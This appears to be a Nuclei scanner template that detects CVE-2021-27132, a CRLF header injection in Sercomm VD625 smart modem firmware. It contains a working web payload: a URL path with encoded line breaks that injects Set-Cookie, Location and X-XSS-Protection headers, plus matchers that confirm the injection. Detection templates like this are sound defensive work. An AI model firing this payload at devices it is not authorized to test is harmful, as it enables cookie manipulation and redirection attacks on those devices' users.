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id : CVE-2021-27132
info :
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name : Sercomm VD625 Smart Modems - CRLF Injection
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author : geeknik
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severity : critical
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description : Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
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remediation : |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
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reference :
- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
- http://sercomm.com
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27132
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2021-27132
cwe-id : CWE-74
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epss-score : 0.03821
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epss-percentile : 0.90866
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cpe : cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : sercomm
product : agcombo_vd625_firmware
tags : cve,cve2021,crlf,injection
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http :
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- method : GET
path :
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- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"
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matchers-condition : and
matchers :
- type : word
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part : header
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words :
- "Content-Disposition: attachment;filename=test.txt"
- "Set-Cookie:CRLFInjection=Test"
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- "Location: interact.sh"
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- "X-XSS-Protection:0"
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condition : and
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- type : status
part : header
status :
- 404
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# digest: 4a0a0047304502202c2d00f79afdb9b33d215fa8f8e22464c462d15b0dfc59abb7c7b74077e4fb0a022100a443f3a1fe95299e9e5174164d15bb3b93e4d665cc45cc3f804bbbbea5024950:922c64590222798bb761d5b6d8e72950